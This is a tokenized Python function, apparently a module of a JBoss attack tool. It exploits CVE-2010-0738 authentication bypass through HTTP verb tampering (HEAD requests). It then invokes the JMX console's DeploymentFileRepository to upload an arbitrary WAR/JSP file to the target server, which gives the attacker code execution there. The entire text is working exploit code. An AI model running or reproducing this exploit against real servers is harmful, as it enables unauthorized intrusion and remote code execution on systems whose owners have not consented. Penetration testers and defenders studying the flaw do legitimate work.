#NEWLINE# def run( self , fingerengine , fingerprint ) : #NEWLINE# #INDENT# ' This module exploits CVE-2010-0738, which bypasses authentication\n        by submitting requests with different HTTP verbs, such as HEAD. \n        ' #NEWLINE# utility . Msg ( ( 'Deploying %s via verb tampering' % fingerengine . options . ip ) , LOG . DEBUG ) #NEWLINE# url = 'http://{0}:{1}' . format ( fingerengine . options . ip , fingerprint . port ) #NEWLINE# response = utility . requests_head ( fingerengine ) #NEWLINE# if ( response . status_code == 200 ) : #NEWLINE# #INDENT# utility . Msg ( 'Vulnerable to verb tampering, attempting to deploy...' , LOG . SUCCESS ) #NEWLINE# war_file = abspath ( fingerengine . options . verb_tamper ) #NEWLINE# war_name = parse_war_path ( war_file ) #NEWLINE# tamper = '/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIndex=5&arg0={0}.war&arg1={0}&arg2=.jsp&arg3={1}&arg4=True' . format ( war_name , quote_plus ( open ( war_file ) . read ( ) ) ) #NEWLINE# response = utility . requests_head ( ( url + tamper ) ) #NEWLINE# if ( response . status_code == 200 ) : #NEWLINE# #INDENT# utility . Msg ( 'Successfully deployed {0}' . format ( war_file ) , LOG . SUCCESS ) #NEWLINE# #UNINDENT# else : #NEWLINE# #INDENT# utility . Msg ( ( 'Failed to deploy (HTTP %d)' % response . status_code ) , LOG . ERROR )